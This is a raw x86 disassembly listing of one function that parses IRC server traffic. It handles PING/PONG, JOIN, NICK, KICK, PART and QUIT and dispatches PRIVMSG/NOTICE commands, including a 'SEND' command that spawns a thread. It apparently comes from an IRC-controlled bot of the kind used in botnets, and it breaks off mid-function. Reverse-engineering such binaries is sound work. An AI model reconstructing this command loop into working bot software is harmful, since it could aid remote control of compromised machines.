var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42CA38 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42CA34 ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh

loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi

loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE

loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi

loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CA30 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h

loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------

loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------

loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C

loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch

loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h

loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1

loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3

loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9C4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	esp, 14h

loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"

loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2C

loc_401E91:				; CODE XREF: sub_401ACD+253Bj
					; sub_401ACD+2558j ...
		add	esp, 10h

loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1

loc_401E96:				; CODE XREF: sub_401ACD+2A61j
		pop	eax

loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A83j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax

loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h

loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0

loc_401F52:				; CODE XREF: sub_401ACD+1C35j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87

loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B

loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083

loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019

loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42C970

loc_402077:				; CODE XREF: sub_401ACD+28CCj
					; sub_401ACD+2C4Cj ...
		call	sub_415220

loc_40207C:				; CODE XREF: sub_401ACD+1BE1j
		pop	ecx

loc_40207D:				; CODE XREF: sub_401ACD+7B6Fj
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C94C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42C938
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		cmp	dword_429088, ebx
		jz	loc_409854

loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi

loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42C930
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C8F4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BC
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	loc_4023E6

loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2660EB7h
		nop
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------

loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1

loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42C8F0
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
		jz	short loc_40230A

